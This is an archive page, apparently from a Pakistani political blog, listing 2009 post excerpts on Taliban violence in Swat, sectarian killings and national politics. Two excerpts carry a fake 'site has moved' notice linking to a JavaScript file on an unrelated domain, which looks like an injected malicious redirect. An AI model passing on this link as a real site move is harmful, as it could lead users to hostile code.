Author Archive
Poland says engineer held by Taliban believed dead; Taliban’s Sipah-e-Sahaba / Lashkar-e-Jhangavi wing involved…: There are confirmed reports that the Polish engineer kidnapped by the Taliban near the Pindi Sultani area of Attock on Sept 28 has been killed. His driver and two guards were shot dead at the time of his abduction.
Understanding Pakistan’s Approach to the War on Terror: Although Pakistan has been a frontline state in the war on terror since the tragic events of September 11, 2001, there is no doubt that General Musharraf initially cast his lot with the United States mainly as a result
Understanding Pakistan’s Approach to the War on Terror: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/891, click this link if you are not redirected
‘Intense, focused and targeted’: The third phase of the military operations in Swat: ‘Intense, focused and targeted’Saturday, February 07, 2009by Rahimullah Yusufzai Unlike the earlier two phases of the military operations in Swat in 2007 and 2008, the latest one initiated in late January is being praised by the ANP-PPP government in
Killing and ghettoization of Shias and the responsibility of the State: Return of sectarian war A suicide blast on the occasion of the “chehlum” of Imam Hussain has killed 32 innocent Shia Muslims in Dera Ghazi Khan in Punjab, hours after someone killed a Sunni in the neighbouring NWFP district
Ansar Abbasi admits that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption: Ansar Abbasi admis that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption. He complains that PML-N, PPP, PML-Q, MQM, Jamaat Islami, Tehreek Insaf etc remained silent on that case. Related post: Ansar Abbasi was the
Ansar Abbasi admits that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption…: Ansar Abbasi admis that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption…. He complains that PML-N, PPP, PML-Q, MQM, Jamaat Islami, Tehreek Insaf etc remained silent on that case.
Pakistan cannot restore peace in Swat and FATA unless it hits the current leadership of (Pakistani) Taliban –: Muhammad Amir Khakwani, Express.
Dialogue with Taliban not an option – Farhat Taj: Dialogue with Taliban not an option Friday, February 06, 2009by Farhat Taj I wanted a reply to my email from Masooda Bano to have a better idea of her argument for dialogue with Taliban. She provided the idea through
Dialogue with Taliban not an option – Farhat Taj: Dialogue with Taliban not an option Friday, February 06, 2009by Farhat Taj I wanted a reply to my email from Masooda Bano to have a better idea of her argument for dialogue with Taliban. She provided the idea through
Swat: Taliban terrorists warn lawyers and judges to stop attending the regular courts or risk death.: General Kayani, what is stopping you to arrest Fazullah, your comrade in arms? Madness in the mountainsFriday, February 06, 2009 The militants who control most of Swat have gone mad. They have now threatened to kill lawyers and judges,
Kashmiris and Tamils: Violence will get them nowhere: Violence will get them nowhere By Kuldip Nayar IN a way, what has happened to the Liberation Tigers of Tamil Eelam (LTTE) in Sri Lanka is similar to what has happened to the Hurriyat in Kashmir. Both of them,
Can an honourable Pakhtun do that? Imran Khan, better answer.: Militants kill three women in Swat By Our Correspondent MINGORA: Three women were killed in Swat on Thursday as Taliban continued their attack on people they consider to be pro-government. The militants also blew up two government schools. The
Two School Hited in Swat By Militants: Well done ISI-Taliban alliance: Two School Hited in Swat By Militants Thursday, February 5, 2009 at 12:58 Unknown armed men on Thursday killed three women in restive Swat district besides torching two more schools in the valley. The women were shot dead for
Sectarian attack in D.G. Khan: 36 Shia killed, over 30 injured in DG Khan blast: Sectarian terrorists belonging to Taliban/Sipah-e-Sahaba kill at least 36 Shia Muslims in D.G. Khan.
Sectarian attack in D.G. Khan: 36 Shia killed, over 30 injured in DG Khan blast: Sectarian terrorists belonging to Taliban/Sipah-e-Sahaba kill at least 36 Shia Muslims in D.G. Khan. (Picture by BBC Urdu dot com) 24 killed, over 30 injured in DG Khan blast (The News)Updated at: 2105 PST, Thursday, February 05, 2009 DG
Swat: Interview with Afzal Khan Lala – by Rahimullah Yusufzai: “They need support…” — Mohammad Afzal Khan, ANP leader and the hero of Swat By Rahimullah Yusufzai The 82-year old Mohammad Afzal Khan has emerged as a hero in Swat and beyond, to those who oppose the Taliban ideology.
"We have reservations about the operation". We (Pakistan) pay lip service to peace in Afghanistan but we tolerate militants’ sanctuaries in Fata.: “We have reservations about the operation” — Afrasyab Khattak, Provincial President, ANP; peace envoy to the NWFP government By Tauseef-ur-Rahman The News on Sunday: Who are Taliban and what is their agenda in the Swat valley? Afrasyab Khattak: The
“We have reservations about the operation”. We (Pakistan) pay lip service to peace in Afghanistan but we tolerate militants’ sanctuaries in Fata.: “We have reservations about the operation” — Afrasyab Khattak, Provincial President, ANP; peace envoy to the NWFP government By Tauseef-ur-Rahman The News on Sunday: Who are Taliban and what is their agenda in the Swat valley? Afrasyab Khattak: The
Swat: the other view. A tale of how Military & Mullahs facilitated Taliban in spreading their tentacles in Swat: Swat: the other view By Syed Irfan Ashraf THE ongoing insurgency in Swat has spawned a heated debate in the media. For some it is a class war between the landless and the land-owning elite. Others believe it to
Swat: the other view; a tale of how ‘those in power’ facilitated Taliban in spreading their tentacles in the peacefull valley of Swat….: Swat: the other view By Syed Irfan Ashraf THE ongoing insurgency in Swat has spawned a heated debate in the media. For some it is a class war between the landless and the land-owning elite. Others believe it to
Constable Shah said: “Taliban have given us a new life. We had been under the siege for 36 hours and pleaded for reinforcements, but nobody helped".: 30 security men freed after ‘promising to quit force’ Dawn Report MINGORA/TIMERGARA, Feb 4: The Taliban in Swat set free 30 police and paramilitary personnel in the presence of journalists in Kotli Dadhara area of Kabal tehsil on Wednesday,
Constable Shah said: “Taliban have given us a new life. We had been under the siege for 36 hours and pleaded for reinforcements, but nobody helped”.: 30 security men freed after ‘promising to quit force’ Dawn Report MINGORA/TIMERGARA, Feb 4: The Taliban in Swat set free 30 police and paramilitary personnel in the presence of journalists in Kotli Dadhara area of Kabal tehsil on Wednesday,
Gilani versus Zardari? "Sadar Zardari ko riha karo".: An open letter to Prime Minister Yusuf Raza Gilani – by Asadullah Ghalib
Gilani versus Zardari? “Sadar Zardari ko riha karo”.: An open letter to Prime Minister Yusuf Raza Gilani – by Asadullah Ghalib
The sectarian-ethnic scourge in Pakistan: The legacy of General Zia-ul-Haq: The sectarian-ethnic scourge The killing fields of Dera Ismail Khan in the NWFP claimed more victims on Tuesday as a grenade attack killed one man and wounded 18 others inside a Sunni mosque. The attacker hurled the hand grenade
Ban announces UN commission on Benazir’s murder: Bad new for the jihadi-ISI alliance in Pakistan?: Can we hope to see criminals such as Hamid Gul, Baitullah Mehsud and other supporters/leaders of Taliban and Al Qaeda soon in a court of law? Ban announces UN commission on Benazir’s murder * Chile’s UN Ambassador Heraldo Muñoz
Aid to Gaza: Hamas and Israel – What is the difference?: Israelis halt ship carrying aid toward Gaza From Nada HusseiniCNN BEIRUT, Lebanon (CNN) — Israeli warships halted a ship laden with 50 tons of aid for Gaza about 20 miles off the territory’s coast Wednesday, an activist said. The
"Peace in Swat was destroyed due to agreements signed by Awami National Party (ANP) with militants.": Dialogue with Taliban? Amir Muqam blames ANP for Swat chaosUpdated at: 1830 PST, Wednesday, February 04, 2009 (The News) PESHAWAR: PML-Q leader Amir Muqam said Wednesday that peace in Swat was destroyed due to agreements signed by Awami National
“Peace in Swat was destroyed due to agreements signed by Awami National Party (ANP) with militants.”: Dialogue with Taliban? Amir Muqam blames ANP for Swat chaosUpdated at: 1830 PST, Wednesday, February 04, 2009 (The News) PESHAWAR: PML-Q leader Amir Muqam said Wednesday that peace in Swat was destroyed due to agreements signed by Awami National
Allama Iqbal: Is he relevant? – by Yasser Latif Hamdani: A very interesting, critical essay by Yasser Latif Hamdani Allama Iqbal: Is he relevant? By Yasser Latif Hamdani Is Allama Iqbal relevant to us?Given the current turmoil, which has made it abundantly clear that the people of Pakistan desire
Fighting Taliban and Stereotyping through Pakhtun Culture – In support of Eqbal Ahmad and Shaheryar Ali: In a Land Without Music Eqbal Ahmad [Dawn, 23 July 1993] I have seen the future as envisioned by contemporary Islamists. It horrifies and does not work – anywhere. Today we look at two towns in Afghanistan. Qandahar, an
Farhat Hashmi: The other side – The subtle rooting of extremism (Saudi version of Islam) in Muslim women…Facts, Fatwas and Videos…: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/7225, click this link if you are not redirected